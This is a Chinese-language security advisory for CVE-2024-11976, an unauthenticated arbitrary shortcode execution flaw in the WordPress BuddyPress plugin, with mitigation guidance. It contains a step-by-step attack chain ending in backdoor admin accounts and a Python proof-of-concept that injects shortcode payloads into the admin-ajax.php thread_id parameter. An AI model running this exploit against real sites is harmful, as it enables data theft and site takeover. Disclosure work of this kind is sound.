IPBUF安全漏洞报告
English
CVE-2024-11976 CVSS 7.3 高危

CVE-2024-11976 WordPress BuddyPress插件任意短代码执行漏洞

披露日期: 2026-01-23

漏洞信息

漏洞编号
CVE-2024-11976
漏洞类型
任意短代码执行
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WordPress BuddyPress插件

相关标签

任意短代码执行WordPressBuddyPress高危漏洞无需认证CVE-2024-11976AJAX注入信息泄露权限提升远程代码执行

漏洞概述

CVE-2024-11976是WordPress BuddyPress插件中的一个高危安全漏洞,CVSS评分达到7.3分。该漏洞存在于BuddyPress插件的所有版本中,直到14.3.3版本均受影响。漏洞的根本原因在于软件允许用户执行操作时未正确验证输入值就直接传递给do_shortcode函数处理,这导致未经认证的攻击者可以利用此缺陷执行任意短代码。短代码执行可能导致多种严重后果,包括但不限于:敏感信息泄露、权限提升、恶意内容注入、甚至是远程代码执行(RCE)。由于该漏洞无需认证即可利用,且WordPress的短代码功能极为强大,因此该漏洞对使用BuddyPress插件的网站构成了严重的安全威胁。攻击者可以通过构造特定的请求,绕过安全验证机制,利用短代码功能执行任意操作,从而完全控制受影响的WordPress站点。

技术细节

该漏洞位于BuddyPress插件的消息处理模块中,具体在bp-templates/bp-nouveau/includes/messages/ajax.php文件的第232行附近。漏洞产生的根本原因是程序在调用do_shortcode()函数之前未对用户输入进行充分的验证和过滤。do_shortcode是WordPress的核心函数,用于解析和执行短代码标签。当攻击者构造包含恶意短代码的请求时,由于缺少输入验证,这些恶意短代码会被直接执行。例如,攻击者可以利用像[wp_privacy_core_table]这样的内置WordPress短代码来访问敏感信息,或者利用第三方插件提供的短代码执行更危险的操作。漏洞的利用条件非常宽松,攻击者无需任何认证,只需要发送一个精心构造的HTTP请求即可触发漏洞。攻击者通常会利用AJAX端点或REST API来发送恶意请求,因为这些接口通常不会对用户输入进行严格的短代码相关验证。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者首先扫描目标网站,确认其是否使用WordPress及BuddyPress插件,并确定插件版本是否在14.3.3或以下
STEP 2
步骤2: 识别攻击入口
攻击者识别BuddyPress的消息处理AJAX端点,通常位于/wp-admin/admin-ajax.php,查找与messages相关的action参数
STEP 3
步骤3: 构造恶意请求
攻击者构造包含恶意短代码的HTTP请求,将短代码注入到thread_id等参数中,如thread_id=1[wp_privacy_core_table]
STEP 4
步骤4: 发送漏洞利用请求
通过AJAX接口发送构造的请求,由于缺少输入验证,恶意短代码会被直接传递给do_shortcode()函数执行
STEP 5
步骤5: 执行恶意操作
根据使用的短代码不同,攻击者可以实现信息泄露、权限提升、恶意内容注入或远程代码执行等目的
STEP 6
步骤6: 持久化控制
攻击者利用成功执行的短代码创建管理员账户、上传恶意插件或修改网站内容,建立持久化的后门访问

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2024-11976 PoC - BuddyPress Arbitrary Shortcode Execution # This PoC demonstrates the arbitrary shortcode execution vulnerability in BuddyPress <= 14.3.3 import requests import sys target_url = input("Enter target URL: ").rstrip('/') # Target endpoint - BuddyPress messages AJAX handler ajax_endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Malicious shortcode payloads payloads = [ # Information disclosure "[wp_privacy_core_table]", # Contact form extraction (if Contact Form 7 is installed) "[contact-form-7 id=\"1\" title=\"Test\"]", # Arbitrary shortcode execution "{[insert page id=1]}", ] headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } for payload in payloads: # Construct the exploit request data = { "action": "messages_get_thread_messages", "thread_id": f"1{payload}", # Inject shortcode in thread_id parameter } try: print(f"[*] Testing payload: {payload}") response = requests.post(ajax_endpoint, data=data, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Request sent successfully") print(f"[*] Response length: {len(response.text)} bytes") # Check for successful exploitation indicators if "form" in response.text.lower() or "table" in response.text.lower(): print("[!] Potential exploitation detected - check response") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("\n[*] Note: This is a proof-of-concept. Actual exploitation may vary based on configuration.")

影响范围

BuddyPress 所有版本 <= 14.3.3

防御指南

临时缓解措施
在官方补丁发布之前,可以采取以下临时缓解措施:1) 暂时禁用BuddyPress插件,如果业务不需要其功能;2) 使用Wordfence等安全插件配置防火墙规则,阻止包含短代码相关参数的异常请求;3) 限制未认证用户对AJAX端点的访问,特别是messages相关的action;4) 实施基于IP的访问限制和速率限制;5) 监控服务器日志,关注异常的AJAX请求模式;6) 考虑使用云WAF服务提供额外的安全层;7) 定期备份网站数据,以便在发生安全事件时能够快速恢复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表